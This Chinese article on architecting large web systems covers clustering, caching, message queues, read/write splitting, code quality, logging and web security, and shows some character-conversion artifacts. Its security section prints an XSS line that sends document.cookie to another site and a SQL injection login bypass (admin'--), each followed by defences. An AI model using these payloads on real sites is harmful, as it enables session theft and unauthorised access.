作者介紹
周金橋,具有豐富的系統(tǒng)規(guī)劃、設計、開發(fā)、運維及團隊組織管理工作經(jīng)驗,熟悉.Net、J2EE技術架構及應用。微軟2008-2012五屆最有價值專家(MVP),2009年單獨著有《ASP.NET夜話》一書,2010年與人合著《程序員的成長之路》。至今活躍在多個技術社區(qū)。
本文我選定的方向是如何開發(fā)一個大型系統(tǒng),在這里我對大型系統(tǒng)的定義為日均PV在千萬級以上,而京東和淘寶這類則屬于巨型系統(tǒng)了。因此在本篇中講述的都是基于一些開源免費的技術實現(xiàn),至于通過F5硬件加速、DNS來實現(xiàn)負載均衡、CDN加速等需要花錢購買的技術或者服務則不再本篇介紹范圍之類。
一、從兩個系統(tǒng)說起
1、某移動互聯(lián)網(wǎng)公司服務器端架構圖

上圖是某移動互聯(lián)網(wǎng)公司的服務器端架構圖,它支撐了國內外數(shù)百萬客戶端的訪問請求,有如下特點:
多層級集群,從Web服務器層、NoSQL層級數(shù)據(jù)庫層都實現(xiàn)了集群,這樣使得每一層的響應時間大大縮短,從而能夠在單位時間內響應更多請求;
NoSQL應用(Memcached),在NoSQL領域Memcached和Redis都有大量的用戶群,在這個架構里使用的是Memcached。
數(shù)據(jù)庫讀寫分離,當前大多數(shù)數(shù)據(jù)庫服務器支持主從機制或訂閱發(fā)布機制,這樣一來就為讀寫分離創(chuàng)造了條件,減少了數(shù)據(jù)庫競爭死鎖出發(fā)條件,使響應時間大為縮短(非數(shù)據(jù)庫集群情況下還可以考慮分庫機制)。
負載均衡,Nginx實現(xiàn)Web服務器的負載均衡,Memcached自帶負載均衡實現(xiàn)。
2、某公司生產(chǎn)管理系統(tǒng)架構圖

上圖是為某公司的一個分散型系統(tǒng)做的架構設計,這家公司擁有多個跨市、跨省的生產(chǎn)片區(qū),在各片區(qū)都有自己的生態(tài)車間,各片區(qū)與總公司之間通過數(shù)據(jù)鏈路連接。這個系統(tǒng)的特點是所有的流水線上的產(chǎn)品都貼有唯一的條碼,在生產(chǎn)線的某個操作位操作之前都會掃描貼在產(chǎn)品上的條碼,系統(tǒng)會根據(jù)條碼做一些檢查工作,如:產(chǎn)品條碼是否應被使用過(比如之前應發(fā)貨給客戶過)、產(chǎn)品是否完成了本道工序之前的全部必須完成工序,如果滿足條件則記錄當前操作工序名稱、操作人、操作時間和操作結果等。
一件產(chǎn)品從上線到完成有數(shù)十道工序,而每月下線的產(chǎn)品有少則數(shù)十萬、多則數(shù)百萬,一個月下來的數(shù)據(jù)量也是不小的。特別是在跨廠區(qū)網(wǎng)絡不穩(wěn)定的情況下如何保證對生產(chǎn)的影響最小。
本系統(tǒng)架構特點:
所有業(yè)務邏輯集中在服務器端,并以Service形式提供,這樣便于業(yè)務邏輯調整客戶端能及時得到最新更新;
部署Service的服務器采用集群部署,Nginx實現(xiàn)調度;
NoSQL采用了Redis,與Memcached相比,Redis支持的數(shù)據(jù)類型更多,同時Redis帶有持久化功能,可以將每個條碼對應的產(chǎn)品的最終信息存儲在Redis當中,這樣一般的查詢工作(如條碼是否被使用、產(chǎn)品當前狀態(tài))都可以在Redis中查詢而不是數(shù)據(jù)庫查詢,這樣大大減輕了數(shù)據(jù)庫壓力;
數(shù)據(jù)庫采用了主從機制,實現(xiàn)了讀寫分離,也是為了提高響應速度;
使用了消息隊列MQ和ETL,將一些可以異步處理的動作存放在MQ中,然后由ETL來執(zhí)行(比如訂單完成后以郵件形式通知相關人員);
實現(xiàn)了系統(tǒng)監(jiān)控,通過Zabbix來對服務器、應用及網(wǎng)絡關鍵設備實行7×24小時監(jiān)控,重大異常及時郵件通知IT支持人員。
由于總部其它地方生產(chǎn)規(guī)模較小,所以生產(chǎn)分布未采用復雜架構,不過因為從客戶處退回的不良產(chǎn)品都會在總部生產(chǎn)車間進行返修處理,因此總部生產(chǎn)系統(tǒng)需要保存分部生產(chǎn)車間數(shù)據(jù),因此分部生產(chǎn)車間數(shù)據(jù)會同時寫進分部生產(chǎn)數(shù)據(jù)庫和分部MQ服務器,然后由總部ETL服務器讀取寫入到總部系統(tǒng)中。在分部與總部網(wǎng)絡中斷的情況下分部系統(tǒng)仍可獨立工作,直到網(wǎng)絡恢復。
二、系統(tǒng)質量保證
1、單元測試

單元測試是指對軟件中的最小可測試單元進行檢查和驗證。通常而言,一個單元測試是用于判斷某個特定條件(或者場景)下某個特定函數(shù)的行為,常見的開發(fā)語言都有對應的單元測試框架,常見的單元測試工具:Junit/Nunit/xUnit.Net/Microsoft.VisualStudio.TestTool
關于單元測試的重要性和如何編寫單元測試用例,在本篇就不詳述了,網(wǎng)上有大量相關的文章??傊酱笮偷南到y(tǒng)、越重要的系統(tǒng),單元測試的重要性越大。
針對一些需要外部依賴的單元測試,比如需要Web容器等,可以使用mock測試,Java測試人員可以使用EasyMock這個測試框架,其網(wǎng)址是http://easymock.org/。
2、代碼質量管理平臺
對于多人參與的團隊項目,雖然大多數(shù)情況下會有編碼規(guī)范拉指導大家如何編寫團隊風格一致的編碼,但不能保證團隊中每個成員、尤其是后期加入的團隊成員仍能按照編碼規(guī)范來編寫代碼,因此需要有一個平臺來保證,在這里推薦SonarQube。
SonarQube是一個開源平臺,用于管理源代碼的質量。Sonar不只是一個質量數(shù)據(jù)報告工具,更是代碼質量管理平臺。支持的語言包括:Java、PHP、C#、C、Cobol、PL/SQL、Flex 等。
主要特點:
代碼覆蓋:通過單元測試,將會顯示哪行代碼被選中
改善編碼規(guī)則
搜尋編碼規(guī)則:按照名字,插件,激活級別和類別進行查詢
項目搜尋:按照項目的名字進行查詢
對比數(shù)據(jù):比較同一張表中的任何測量的趨勢

當然除了代碼質量管理平臺外,還有借助源代碼管理系統(tǒng),并且在每次提交代碼前進行代碼審核,這樣每次代碼的異動都可以追溯出來。我管理和經(jīng)歷過的一些重要系統(tǒng)中采用過這樣的做法:除了管理所有程序代碼之外,還將系統(tǒng)中數(shù)據(jù)庫中的表、視圖、函數(shù)及存儲過程的創(chuàng)建都使用源代碼版本管理工具管控起來,而且粒度很小,每個對象的創(chuàng)建都是一個SQL文件。這種方式雖然操作起來有些瑣碎,但對于代碼的變遷追溯非常方便。
三、系統(tǒng)性能保證
1、緩存
所謂緩存就是將一些頻繁使用、但改動相對不平凡的數(shù)據(jù)保存在內存中,每次更新這些數(shù)據(jù)的時候同時持久化到數(shù)據(jù)庫或文件系統(tǒng),并同步更新到緩存中,查詢的時候盡可能利用緩存。
緩存的實現(xiàn)方法:自定義實現(xiàn)或利用NoSQL。
自定義實現(xiàn)
自定義實現(xiàn)可利用SDK中提供的類,如Dictionary等。
優(yōu)點:可以局部提高查詢效率;
缺點:不能跨應用、跨服務器,僅限于單個應用;沒有較好緩存生命周期管理策略。
NoSQL
Memcached
優(yōu)點:可以跨應用、跨服務器,有靈活的生命周期管理策略;支持高并發(fā);支持分布式。
缺點:不支持持久化,僅在內存存儲,重啟后數(shù)據(jù)丟失,需要“熱加載”;僅支持Key/Value。
Redis
優(yōu)點:可以跨應用、跨服務器,有靈活的生命周期管理策略;支持高并發(fā);支持集群;支持持久化;支持Key/Value、List、Set、Hash數(shù)據(jù)結構;
以上幾種方法都存在一個特點:需要通過Key去尋找對應的Value、List、Set或Hash。
除了Memcached和Redis之外,還出現(xiàn)了一些NoSQL數(shù)據(jù)庫和支持NoSQL的數(shù)據(jù)庫,前者如MongoDB,后者如PostgreSQL(>V9.4),下面是一個MongoDB與PostgreSQL的NoSQL特性的對比:

文檔型NoSQL數(shù)據(jù)庫的特點:
不定義表結構
即使不定義表結構,也可以像定義了表結構一樣使用,還省去了變更表結構的麻煩。
可以使用復雜的查詢條件
跟鍵值存儲不同的是,面向文檔的數(shù)據(jù)庫可以通過復雜的查詢條件來獲取數(shù)據(jù),雖然不具備事務處理和Join這些關系型數(shù)據(jù)庫所具有的處理能力,但初次以外的其他處理基本上都能實現(xiàn)。
NoSQL主要是提高效率,關系數(shù)據(jù)庫可以保證數(shù)據(jù)安全;各有使用場景,一般的企業(yè)管理系統(tǒng),沒多少并發(fā)量沒必要使用NoSQL,互聯(lián)網(wǎng)項目或要求并發(fā)的NoSQL使用比較多,但是最終重要的數(shù)據(jù)還是要保存到關系數(shù)據(jù)庫。這也是為什么很多公司會同時使用NoSQL和關系型數(shù)據(jù)庫的原因。
2、異步
所謂異步就是調用一個方法后并不等該方法執(zhí)行完畢后再繼續(xù)執(zhí)行后續(xù)的操作,而是調用完畢后馬上等待用戶的其它指令。打印機管理程序就是一個異步的例子,某個人可能有幾個數(shù)百頁的文檔需要打印,可以在打開一個文檔之后點擊打印,然后繼續(xù)打開另一個文檔繼續(xù)點打印。盡管打印數(shù)百頁文檔需要較長時間,但后續(xù)的打印請求會在打印管理程序中排隊,等第一個文檔打印完成后再繼續(xù)第二個文檔的打印。
異步有兩個層面:編程語言層面的異步和通過消息隊列等機制實現(xiàn)的異步。
語法層面異步:像Java/C#等大多數(shù)語言都支持異步處理。
消息隊列實現(xiàn)異步
用消息隊列實現(xiàn)異步只是消息隊列的一個基本功能之一,消息隊列還具有如下功能:
解耦
靈活性 & 峰值處理能力
可恢復性
送達保證
排序保證
緩沖
理解數(shù)據(jù)流
異步通信
注:消息隊列成為在進程或應用之間進行通信的最好形式。消息隊列隊列是創(chuàng)建強大的分布式應用的關鍵。
常用消息隊列有如下,可根據(jù)系統(tǒng)特點和運維支持團隊的掌握程度選擇:
MSMQ
ActiveMQ
RabbitMQ
ZeroMQ
Kafka
MetaMQ
RocketMQ
3、負載均衡
負載均衡是根據(jù)某種負載策略把請求分發(fā)到集群中的每一臺服務器上,讓整個服務器群來處理網(wǎng)站的請求。
常見負載均衡方案
Windows負載均衡:NLB
Linux負載均衡:LVS
Web負載均衡:Nginx
硬件級負載均衡:F5



前面幾種都是免費的解決方案,F(xiàn)5作為一種硬件及解決方案在一般企業(yè)很少用到。我目前知道的僅有一家世界級飲料公司使用了F5作為負載均衡解決方案,因為這個方案據(jù)說相當昂貴。
4、讀寫分離
讀寫分離為了確保數(shù)據(jù)庫產(chǎn)品的穩(wěn)定性,很多數(shù)據(jù)庫擁有雙機熱備功能。
也就是,第一臺數(shù)據(jù)庫服務器,是對外提供增刪改業(yè)務的生產(chǎn)服務器;第二臺數(shù)據(jù)庫服務器,主要進行讀的操作。
原理:讓主數(shù)據(jù)庫(master)處理事務性增、改、刪操作(INSERT、UPDATE、DELETE),而從數(shù)據(jù)庫(slave)處理SELECT查詢操作。
一般情況下我們是在代碼中進行處理,但目前也有不少商業(yè)中間件形式的讀寫分離中間件,能自動將讀寫數(shù)據(jù)庫操作調度到不同數(shù)據(jù)庫上。

在大型系統(tǒng)中,有時候主、從數(shù)據(jù)庫都是一個集群,這樣可以保證響應速度更快,同時集群中單臺服務器故障也不影響整個系統(tǒng)對外的響應。
四、系統(tǒng)安全性保證
提交內容:window.open(“www.b.com?param=”+document.cookie)
頁面內容:<%=request.getParameter(“content”)%>
這樣用戶在a站提交的東西,在顯示的時候如果不加以處理就會打開b站頁面將相關敏感內容顯示出來。
針對XSS攻擊的防范辦法:
Html encode
特殊字符過濾:<,>
2、SQL注入
SQL Injection
所謂SQL注入式攻擊,就是攻擊者把SQL命令插入到Web表單的輸入域或頁面請求的查詢字符串,欺騙服務器執(zhí)行惡意的SQL命令。在某些表單中,用戶輸入的內容直接用來構造(或者影響)動態(tài)SQL命令,或作為存儲過程的輸入?yún)?shù),這類表單特別容易受到SQL注入式攻擊。
例如我們在登錄一個系統(tǒng)時,在軟件底層按照如下方式查詢數(shù)據(jù):
登錄SQL語句:
SELECT COUNT(*) FROM Login WHERE UserName=’admin’ AND Password=’123456‘
SELECT COUNT(*) FROM Login
WHERE UserName=’admin’–
Password=’123′

針對SQL注入防范辦法:
數(shù)據(jù)輸入驗證
特殊字符過濾:特殊字符過濾
參數(shù)化SQL語句(包括存儲過程)
不使用sa級別賬戶作為連接賬戶或限制連接IP
3、CSRF攻擊
CSRF(Cross-site request forgery)跨站請求偽造,也被稱為“One Click Attack”或者Session Riding,通??s寫為CSRF或者XSRF,是一種對網(wǎng)站的惡意利用。盡管聽起來像跨站腳本(XSS),但它與XSS非常不同,并且攻擊方式幾乎相左。XSS利用站點內的信任用戶,而CSRF則通過偽裝來自受信任用戶的請求來利用受信任的網(wǎng)站。與XSS攻擊相比,CSRF攻擊往往不大流行(因此對其進行防范的資源也相當稀少)和難以防范,所以被認為比XSS更具危險性。
其核心策略是利用了瀏覽器Cookie或者服務器Session策略,盜取用戶身份。
針對CSRF攻擊防范辦法:
表單Token
驗證碼
Referer檢查
關鍵操作身份確認
4、其它攻擊
Error Code:即錯誤代碼回顯,許多Web服務器為調試方便默認顯示詳盡錯誤信息,如錯誤發(fā)生的上下文、服務器及應用信息等,容易被惡意利用。
系統(tǒng)或者框架漏洞:如IIS6.0以下版本存在“JPG漏洞”;Apache Struts2服務在開啟動態(tài)方法調用任意方法漏洞(CVE-2016-3081);OpenSSL的heartbeat漏洞(CVE-2014-0160);Apache解析漏洞;Nginx(
防范辦法:
上傳文件時對MIME進行檢查,必要情況下對上傳文件更名
及時關注安全網(wǎng)站及產(chǎn)品官方網(wǎng)站,發(fā)現(xiàn)漏洞及時打補丁
對Web Server運用的用戶角色權限進行限制
使用漏洞掃描工具模擬攻擊
下面是一些我見過的被攻擊后的系統(tǒng)截圖,如下圖是CCTV音樂頻道被攻擊的截圖:

還有本人2008年前后搭建PHPWind運行的畫面:

上圖中是本人2006年前后搭建的一個論壇,有人利用系統(tǒng)漏洞注冊了很多用戶名為空的用戶(其實是身份遺失),,然后又利用這些賬戶在論壇中大量發(fā)布廣告、色情等違法違紀的帖子,因為使用了一些不可見字符進行注冊的,在后臺無法管理,最后只好在數(shù)據(jù)庫中操作管理了。
五、開發(fā)相關的經(jīng)驗教訓
1、應用日志記錄
以前團隊運維著一個老系統(tǒng),系統(tǒng)中沒有日志功能,而系統(tǒng)的操作人員的計算機水平又較低,每次打電話都是說系統(tǒng)不能用或者是一些根本無法快速定位原因的描述,每次接到求助后需要花費大量時間來分析定位原因,后來將系統(tǒng)中增加了日志功能,并且在網(wǎng)絡狀態(tài)連通情況下可自動將錯誤日志以郵件形式發(fā)送到負責同事組成的用戶組,自此以后處理這類問題的響應時間大大縮短了,雙方都很滿意。
現(xiàn)在已經(jīng)有很多開源日志庫,比如.NET的Log4Net,Java的Log4j,可以很輕松地配置啟用日志功能。利用日志組件可以將信息記錄到文件或數(shù)據(jù)庫,便于發(fā)現(xiàn)問題時根據(jù)上下文環(huán)境發(fā)現(xiàn)問題,這一點在調試多線程時尤其重要。
日志級別:FATAL(致命錯誤)、ERROR(一般錯誤)、WARN(警告)、INFO(一般信息)、DEBUG(調試信息)。
注意:在調試環(huán)境中時日志級別盡量低(warn/info),在生產(chǎn)環(huán)境中日志級別盡量高(error),且對日志文件大小一定要進行控制。不然也會產(chǎn)生問題。
案例:某國內有名的管業(yè)集團公司的一個系統(tǒng)的重要模塊發(fā)生問題,啟用了日志功能以便通過日志組件快速將問題定位并修復。在發(fā)布到生產(chǎn)環(huán)境時,運行一段時間之后發(fā)現(xiàn)程序運行效率相當?shù)拖?,多位開發(fā)人員對模塊代碼進行性能分析未發(fā)現(xiàn)問題,大家發(fā)現(xiàn)同樣的數(shù)據(jù)量和操作在生產(chǎn)環(huán)境和開發(fā)環(huán)境效率差巨大,無意中發(fā)現(xiàn)生產(chǎn)服務器上日志文件已超過5G!事后發(fā)現(xiàn)是由于疏忽未調高日志級別且未對日志進行控制,調整日志模式為按日記錄,問題解除。
參考:《log4net使用詳解》 http://blog.csdn.net/zhoufoxcn/article/details/222053
2、歷史記錄追蹤
代碼管控
盡可能使用代碼管控工具對源代碼進行管控,如SVN/TFS/Git,如果有可能不但管控程序代碼,還要管控數(shù)據(jù)庫相關的SQL文件(包括初始化腳本及存儲過程和使用ORM框架中的Mapping文件),做到系統(tǒng)的一切變動皆有記錄。
代碼審核
任何人提交代碼都必須本人本地編譯、調試無誤后,再有人review后方可提交,且針對bug修復的提交需注明所修復的bug信息。
Bug記錄
通過Bug記錄系統(tǒng)記錄整個bug的生命周期,包括發(fā)現(xiàn)、修復、關閉。TFS本身支持bug記錄,開源系統(tǒng)中禪道也是一個不錯的Bug記錄工具。
六、總結
本篇主要是就系統(tǒng)從開發(fā)到最終部署運維過程中常用的技術、框架和方法做了一個總結,當然以上經(jīng)驗總結來源于本人從業(yè)以來所經(jīng)歷的項目中的經(jīng)驗和教訓,可能還有更好更完美的方案,在此權當拋磚引玉